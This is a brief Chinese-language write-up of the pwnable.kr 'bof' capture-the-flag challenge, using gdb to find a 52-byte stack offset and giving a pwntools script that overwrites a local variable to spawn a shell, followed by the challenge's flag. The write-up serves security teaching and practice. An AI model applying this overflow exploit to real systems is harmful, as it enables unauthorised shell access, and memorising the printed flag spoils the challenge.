pwnable.kr
下载
先将bof 与 bof.c下载下来，先检查下 bof开启的保护
是真的吓到，基本能开的都开了，但是转念一想，入门级别没有那么恶心人吧，然后看看源代码
发现，只是要将传入的0xdeadbeef通过栈溢出换成0xcafebabe，而且在程序里面已经有调用system("/bin/sh")的语句，只要替换成功就能调用，那这些保护基本也没什么意义嘛。
gdb调试
继续单步，输入AAAAAAAA,之后x/30x $esp查看栈空间
A的ASCLL值为41，可以看出，我们要覆盖的地址与输入地址相差52个字节.
Exp
from pwn import *
r = remote('pwnable.kr','9000')
buf = 52 * 'A'
buf += p32(0xcafebabe)
r.sendline(buf)
r.interactive()
运行下
flag =daddy, I just pwned a buFFer :)
